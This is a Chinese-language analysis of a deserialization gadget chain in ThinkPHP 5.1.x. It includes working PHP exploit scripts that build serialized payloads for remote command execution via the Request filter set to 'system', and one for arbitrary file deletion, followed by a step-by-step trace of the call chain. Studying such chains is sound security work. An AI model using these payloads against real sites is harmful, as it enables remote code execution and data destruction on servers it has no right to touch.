ThinkPHP v5.1.x 反序列化 分析

环境准备

Thinkphp 5.1.38

写入反序列化点

漏洞复现

exp:

<?php

namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Y0ng"=>[]];
$this->data = ["Y0ng"=>new Request()];
}
}

class Request{
protected $filter;
protected $hook = [];
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '',

];

public function __construct()
{
$this->filter = 'system';
$this->hook = ['visible'=>[$this,"isAjax"]];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;
use think\Process;
class Windows
{
private $files;
public function __construct()
{
$this->files = [new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
?>

get任意传参

漏洞分析

__destruct为入口 全局搜索

thinkphp\library\think\process\pipes\Windows.php

两个函数

close()进行关闭连接操作

removefiles()

可以任意文件删除 exp:

<?php
namespace think\process\pipes;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=['0'=>'D:\phpstudy_pro\WWW\test.txt'];
}
}
echo base64_encode(serialize(new Windows()));
?>

用到了 file_exists 函数会将参数当作字符串来进行处理,可以用来触发__toString

全局搜索 __toString

thinkphp\library\think\model\concern\Conversion.php

trait Conversion

跟进toJson()

跟进toArray()

摘取部分代码

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

append 可控所以 key 与 name可控,relation是通过 getRelation 获得,跟进

thinkphp\library\think\model\concern\RelationShip.php

trait RelationShip

这里肯定 要求返回空 也就是if和elseif都不进入
接着 进入getAttr

thinkphp\library\think\model\concern\Attribute.php

trait Attribute

返回值为 return $value;

跟进getData

因为上面 三个都是trait,全局搜索找一个同时继承三个triat的子类

thinkphp\library\think\Model.php
abstract class Model 抽象类

先找一下实现类

\thinkphp\library\think\model\Pivot.php

回到 $relation->visible([$attr]);

利用有两条路走

  1. visible方法中存在利用
  2. 触发__call方法

全局寻找visible方法,三处无利用点,尝试寻找_call方法

thinkphp\library\think\Request.php

$this->hook[$method] 可控 $args 可控

但是存在

array_unshift($args, $this);

本来 $args 作为命令参数可控,由于 array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头,导致参数不可控

那么尝试再去调用其他方法 且参数可控

在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码

利用点肯定是这里

$value = call_user_func($filter, $value);

但是两个参数都不可控,就去向上找谁调用了filterValue 看看能不能控制传入filterValue的参数

找到这个类的input方法:

$data依旧不可控,继续往上寻找调用input的函数,找到 param

$name依旧不可控,接着往上寻找isAjax()

$this->config[‘var_ajax’] 可控

isAjax 函数中,我们可以控制$this->config['var_ajax'],意味着 param 函数中的$name 可控。param函数中的 $name可控就意味着 input函数中的 $name 可控。

倒着梳理一下
input中$this->param 是通过与 get传参进来的参数进行合并 传入input中的$data

再看input中的这三句

$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
$this->filterValue($data, $name, $filter);

$data = $this->getData($data, $name)
$name就是$this->config['var_ajax'] 即 $data=$data[$name]

$filter = $this->getFilter($filter, $default)

$filter='' 进入else分支 返回$this->filter也就是可控的

$this->filterValue($data, $name, $filter)

$data可控 $filter 可控 成功rce

大概流程